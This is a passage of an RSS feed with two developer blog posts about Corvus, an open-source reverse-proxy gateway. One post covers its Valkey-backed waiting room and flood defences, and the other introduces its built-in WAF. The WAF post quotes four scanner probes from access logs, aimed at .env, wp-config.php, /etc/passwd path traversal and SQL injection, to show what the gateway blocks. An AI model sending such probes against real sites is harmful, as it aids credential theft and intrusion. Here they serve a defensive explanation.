    &lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;seen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;tonumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ZSCORE'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;K_SEEN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ZREM'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;K_SEEN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;seen&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;seen&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;queue_ttl&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
      &lt;span class="nf"&gt;admit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;grant_ttl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two details matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Abandoned waiters are skipped.&lt;/strong&gt; Someone who closed the tab an hour ago is still in the sorted set. If they stopped checking in for longer than &lt;code&gt;queue_ttl&lt;/code&gt;, they are dropped instead of being handed a slot nobody will use.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A promoted visitor gets a short slot first.&lt;/strong&gt; The slot lasts only &lt;code&gt;grant_ttl&lt;/code&gt; (30 s by default). If they don't come back to claim it, it frees up quickly. When they do come back, it is extended to the full &lt;code&gt;active_ttl&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;budget()&lt;/code&gt; is the smaller of "free slots" and "admissions left this second", so the optional admission rate ("let in at most 50 people per second") is enforced in the same atomic step.&lt;/p&gt;

&lt;h3&gt;
  
  
  Slots free themselves
&lt;/h3&gt;

&lt;p&gt;An admitted session's score in &lt;code&gt;active&lt;/code&gt; is its expiry time. Every request from that visitor pushes it forward (&lt;code&gt;ZADD ... XX now + active_ttl&lt;/code&gt;). When they stop making requests, the score falls behind &lt;code&gt;now&lt;/code&gt; and the next script call removes it. There is also a &lt;code&gt;leave&lt;/code&gt; endpoint for the "Leave queue" button, but nothing depends on it. You can't count on a closing browser to tell you anything.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keeping Valkey off the hot path
&lt;/h2&gt;

&lt;p&gt;If every request of every admitted visitor ran the script, Valkey would become the bottleneck for the whole site. So the gateway hands out a &lt;strong&gt;signed admission token&lt;/strong&gt; in a cookie:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;v2.&amp;lt;key id&amp;gt;.a.&amp;lt;room&amp;gt;.&amp;lt;session id&amp;gt;.&amp;lt;issued at&amp;gt;.&amp;lt;expires&amp;gt;.&amp;lt;HMAC-SHA256&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On each request, OpenResty checks it like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="k"&gt;local&lt;/span&gt; &lt;span class="n"&gt;tok&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;admission_from_cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;room&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;tok&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="n"&gt;ngx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;tok&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;room&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;refresh&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="c1"&gt;-- fast path: no Redis&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Token younger than &lt;code&gt;refresh&lt;/code&gt; (15 s):&lt;/strong&gt; the HMAC check is all that happens. No network call.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Older but valid:&lt;/strong&gt; one &lt;code&gt;heartbeat&lt;/code&gt; call extends the slot in Valkey, and a fresh token is issued.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No or invalid token:&lt;/strong&gt; an &lt;code&gt;enter&lt;/code&gt; call admits or queues the visitor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So an admitted visitor costs Valkey at most one tiny call every 15 seconds, however many requests their browser makes. The trade-off is a revocation lag: an "emergency release" or a capacity change can take up to &lt;code&gt;refresh&lt;/code&gt; seconds to reach everyone. For a waiting room, that's fine.&lt;/p&gt;

&lt;p&gt;The key id in the token allows rotating the signing secret: the gateway accepts tokens signed with the current and the previous secret and signs new ones with the current one.&lt;/p&gt;

&lt;p&gt;In the project's benchmark (Corvus pinned to 2 vCPU, tiny responses), a host behind an access queue served about &lt;strong&gt;58k req/s&lt;/strong&gt; to admitted visitors, compared to about &lt;strong&gt;75k req/s&lt;/strong&gt; for a plain host. On that path Valkey is barely involved; the cost is the extra Lua work per request.&lt;/p&gt;

&lt;h2&gt;
  
  
  Surviving floods
&lt;/h2&gt;

&lt;p&gt;A queue is a juicy target. If every request without a cookie created a queue entry, a simple &lt;code&gt;curl&lt;/code&gt; loop would fill the line with millions of fake visitors.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: a cookie check that creates no state.&lt;/strong&gt; A first visit doesn't touch Valkey at all. The visitor gets a signed queue cookie and a redirect to the same URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;not&lt;/span&gt; &lt;span class="n"&gt;sid&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
  &lt;span class="c1"&gt;-- Cookie check: a first visit creates no server-side state. The client gets a&lt;/span&gt;
  &lt;span class="c1"&gt;-- signed queue cookie and must come back with it before Redis is touched, so&lt;/span&gt;
  &lt;span class="c1"&gt;-- cookie-less floods can neither fill the queue nor take admission slots.&lt;/span&gt;
  &lt;span class="nf"&gt;issue_queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;room&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;new_sid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ngx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ngx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request_uri&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A bot that ignores cookies loops on this redirect forever and never reaches Valkey.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: limits for clients that do keep cookies.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;At most 60 new queue entries per IP per minute (configurable). This is kept in an nginx shared dict, so it costs no Valkey work.&lt;/li&gt;
&lt;li&gt;At most 3 status checks per second per session.&lt;/li&gt;
&lt;li&gt;A maximum queue length (100,000 by default). Beyond it, visitors get a "come back later" page instead of growing Valkey forever.&lt;/li&gt;
&lt;li&gt;If Valkey reports it is out of memory, visitors get the same "busy" answer. A full Valkey must not be treated as "Valkey is down, let everyone in".&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  When Valkey is actually down
&lt;/h2&gt;

&lt;p&gt;Each room has a policy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;fail-open&lt;/strong&gt; lets everyone in and favours availability.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;fail-closed&lt;/strong&gt; shows a "try again" page and protects capacity.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Either way, &lt;strong&gt;visitors who already hold a valid admission token always get through&lt;/strong&gt;, because their check doesn't need Valkey.&lt;/p&gt;

&lt;p&gt;To avoid every request waiting for a connection timeout during an outage, there is a small circuit breaker. After one transport failure, all nginx workers skip Valkey for 3 seconds. The flag lives in a shared dict, so one worker's failure protects all of them.&lt;/p&gt;

&lt;h2&gt;
  
  
  The waiting page and the API
&lt;/h2&gt;

&lt;p&gt;Browsers get a waiting page that polls &lt;code&gt;/__corvus/wr/&amp;lt;room&amp;gt;/status&lt;/code&gt;. The poll interval grows with your position: 3 s near the front, up to 30 s far back. So 50,000 waiting people don't hammer the gateway every second. On errors the page backs off exponentially, up to 60 s. Several tabs of the same browser share one session, so opening ten tabs doesn't give you ten places in line.&lt;/p&gt;

&lt;p&gt;Requests that can't show a page (&lt;code&gt;fetch&lt;/code&gt;, XHR, mobile apps) get &lt;strong&gt;&lt;code&gt;429 Too Many Requests&lt;/code&gt;&lt;/strong&gt; with a &lt;code&gt;Retry-After&lt;/code&gt; header and a small JSON body (&lt;code&gt;rank&lt;/code&gt;, &lt;code&gt;waiting&lt;/code&gt;, &lt;code&gt;retry_after&lt;/code&gt;). I deliberately avoided &lt;code&gt;503&lt;/code&gt;. The site isn't broken, and a waiting room shouldn't light up your 5xx alerts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trade-offs I accepted
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Capacity counts sessions, not requests.&lt;/strong&gt; "500 visitors" means 500 browsers inside, whatever they do there. That is what people expect from a waiting room, but it isn't a rate limiter. (Corvus has a separate one.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cross-site API calls stay queued.&lt;/strong&gt; The cookie is &lt;code&gt;SameSite=Lax&lt;/code&gt;, so a web app on another site calling a queued API won't send it. Only put the queue on what people open in a browser.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shared IPs and the per-IP limit.&lt;/strong&gt; A big office behind one NAT can hit the 60-entries-per-minute limit. It's configurable for that reason.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Optional network binding.&lt;/strong&gt; Admission tokens can be bound to the visitor's /24 (IPv6 /48), so a token can't be passed around. Visitors who switch from Wi-Fi to mobile data then have to queue again, which is why it's off by default.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Wrapping up
&lt;/h2&gt;

&lt;p&gt;The core idea fits in one sentence: &lt;strong&gt;put the whole state machine in one atomic Valkey script, and use signed tokens so admitted visitors almost never need it.&lt;/strong&gt; Most of the remaining work went into the unhappy paths: abandoned tabs, floods, a full Valkey, a dead Valkey.&lt;/p&gt;

&lt;p&gt;The full code is on GitHub:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the Valkey script: &lt;a href="https://github.com/corvus-gateway/corvus/blob/main/gateway/redis/waitroom.lua" rel="noopener noreferrer"&gt;&lt;code&gt;gateway/redis/waitroom.lua&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;the OpenResty side: &lt;a href="https://github.com/corvus-gateway/corvus/blob/main/gateway/lua/corvus/waitroom.lua" rel="noopener noreferrer"&gt;&lt;code&gt;gateway/lua/corvus/waitroom.lua&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In Corvus you turn it on from the console in a couple of clicks: create an access queue, then attach it to a proxy host.&lt;/p&gt;

&lt;p&gt;Questions, or a case I didn't think of? I'd love to hear it in the comments.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Corvus is built with heavy help from an AI coding assistant, and this post was drafted with one too. The design decisions, verification and testing are my own.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>valkey</category>
      <category>redis</category>
      <category>nginx</category>
      <category>lua</category>
    </item>
    <item>
      <title>I liked Nginx Proxy Manager, but I wanted a WAF in the same place</title>
      <dc:creator>Jikwang Moon</dc:creator>
      <pubDate>Fri, 06 Nov 2026 02:06:51 +0000</pubDate>
      <link>https://dev.to/moonjikwang/i-liked-nginx-proxy-manager-but-i-wanted-a-waf-in-the-same-place-6j0</link>
      <guid>https://dev.to/moonjikwang/i-liked-nginx-proxy-manager-but-i-wanted-a-waf-in-the-same-place-6j0</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ft6sw91nsrm1el0le9v7q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ft6sw91nsrm1el0le9v7q.png" alt=" " width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
If you self-host anything, there is a good chance it sits behind Nginx Proxy Manager (NPM). Add a domain, pick a container, click Let's Encrypt, done. I used it for exactly that reason.&lt;/p&gt;

&lt;p&gt;Then you open the logs of anything exposed to the internet and see this, every day:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="no"&gt;GET&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;
&lt;span class="no"&gt;GET&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;wp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;span class="no"&gt;GET&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;passwd&lt;/span&gt;
&lt;span class="na"&gt;GET /?id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="no"&gt;UNION&lt;/span&gt; &lt;span class="no"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="no"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You don't run WordPress and you don't have a &lt;code&gt;.env&lt;/code&gt; in your web root, but the scanners don't care. At some point I wanted three things: &lt;strong&gt;see what is actually hitting my services, block the obvious junk, and keep some control when traffic spikes.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The usual answer
&lt;/h2&gt;

&lt;p&gt;The common setups are:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;NPM + CrowdSec&lt;/strong&gt; (or fail2ban) to ban bad IPs from the logs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A WAF container&lt;/strong&gt; in front of or behind NPM: SafeLine, BunkerWeb, ModSecurity…&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All good tools. But you end up with more containers, more config screens, and when a request is blocked you jump between three places to find out why. I wanted the proxy and the protection &lt;strong&gt;in one simple console, the way NPM feels.&lt;/strong&gt; So I built Corvus.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Corvus is
&lt;/h2&gt;

&lt;p&gt;A self-hosted gateway that works like NPM and adds a layer that watches, blocks and controls traffic. It is not an NPM fork; it is written from scratch on OpenResty, Go and React. Apache-2.0, no paid tier.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Proxy hosts, Let's Encrypt with auto-renewal (DNS challenge for wildcards), redirections, TCP/UDP streams&lt;/li&gt;
&lt;li&gt;Known attack patterns (SQL injection, path traversal, scanners…) blocked as soon as you add a host&lt;/li&gt;
&lt;li&gt;Automatic bans for IPs that keep trying&lt;/li&gt;
&lt;li&gt;Security rules on IP, country, path, header and User-Agent, a browser challenge, and an automatic "under attack" mode&lt;/li&gt;
&lt;li&gt;An access queue (waiting room) that lets people in up to a capacity during a rush&lt;/li&gt;
&lt;li&gt;A live traffic monitor and alerts to Slack, Discord, Teams, Telegram and others&lt;/li&gt;
&lt;li&gt;Import from NPM, and every config change is versioned with rollback&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Install
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;corvus&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ghcr.io/corvus-gateway/gateway:latest&lt;/span&gt;
    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unless-stopped&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'80:80'&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'443:443'&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'9443:9443'&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./data:/data&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker compose up -d
docker compose logs corvus &lt;span class="o"&gt;|&lt;/span&gt; grep setup_token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no default password. The first start prints a one-time &lt;strong&gt;setup token&lt;/strong&gt; so that only the server owner can create the admin account. Open &lt;code&gt;https://&amp;lt;server&amp;gt;:9443&lt;/code&gt; (self-signed certificate at first, so expect a browser warning), enter the token and create your account. If you'd rather pick the token yourself, set &lt;code&gt;CORVUS_SETUP_TOKEN&lt;/code&gt; (12+ characters).&lt;/p&gt;

&lt;p&gt;On TrueNAS SCALE, Corvus is also in the Community apps catalog: search for "Corvus" under Apps.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you get without writing a single rule
&lt;/h2&gt;

&lt;p&gt;Go to &lt;strong&gt;Proxy hosts → Add&lt;/strong&gt;, enter the domain and the target (say &lt;code&gt;shop-web:80&lt;/code&gt;), choose Let's Encrypt, save. Same as NPM so far.&lt;/p&gt;

&lt;p&gt;The difference is that protection is already on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Exploit path blocking&lt;/strong&gt; is enabled by default. All four requests from the top of this post are stopped before they reach your app. I checked them against a test stack: &lt;code&gt;403&lt;/code&gt;, &lt;code&gt;403&lt;/code&gt;, &lt;code&gt;400&lt;/code&gt;, &lt;code&gt;403&lt;/code&gt;, while normal requests return &lt;code&gt;200&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automatic bans&lt;/strong&gt; are on too: an IP with more than 20 detections in 10 minutes is banned for 15 minutes, and the ban doubles on every repeat (up to 7 days by default).&lt;/li&gt;
&lt;li&gt;Every request lands in the &lt;strong&gt;traffic monitor&lt;/strong&gt;, so you can see per host which paths were hit and what was blocked.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Foz85d5dztg2rkx1f1502.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Foz85d5dztg2rkx1f1502.png" alt="Traffic monitor" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  When you want more
&lt;/h2&gt;

&lt;p&gt;All optional:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Security rules&lt;/strong&gt;, e.g. "&lt;code&gt;/admin&lt;/code&gt; only from my office IP" or "block these countries". Tip: start a rule in &lt;strong&gt;Log&lt;/strong&gt; mode, see what it would catch, then switch to &lt;strong&gt;Block&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Browser challenge&lt;/strong&gt;: a short proof-of-work in the browser, no third-party service. Useful when bots pile in.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Under attack mode&lt;/strong&gt;: when requests per second or the block ratio pass a threshold, every visitor gets the challenge automatically.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access queue&lt;/strong&gt;: for a launch or a limited drop, let in only as many people as your server can handle and queue the rest in order.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1tslr8iu2phsg9po6hik.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1tslr8iu2phsg9po6hik.png" alt="Security rules" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Coming from NPM
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Import from NPM&lt;/strong&gt; brings over proxy hosts, redirections, streams, certificates and access lists. It only &lt;strong&gt;reads&lt;/strong&gt; NPM's files and database, so if you don't like Corvus you can simply go back.&lt;/p&gt;

&lt;h2&gt;
  
  
  Honest limitations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;It is young (1.1.x). Bugs reported as issues get fixed quickly.&lt;/li&gt;
&lt;li&gt;Auto-bans work per IP, so people behind the same company or carrier NAT can be banned together. Put networks you know into the exception list.&lt;/li&gt;
&lt;li&gt;No single gateway can stop a DDoS that saturates your uplink. For that, put a CDN such as Cloudflare in front; Corvus still sees the real visitor IPs behind it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Feedback welcome
&lt;/h2&gt;

&lt;p&gt;I built Corvus with heavy help from an AI coding assistant; the design, verification and testing I do myself, change by change. If you try it, I'd love to hear what was annoying during install or use, and what you'd need.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub: &lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;https://github.com/corvus-gateway/corvus&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Docs: &lt;a href="https://corvus-gateway.github.io/corvus/" rel="noopener noreferrer"&gt;https://corvus-gateway.github.io/corvus/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>docker</category>
      <category>security</category>
      <category>nginx</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
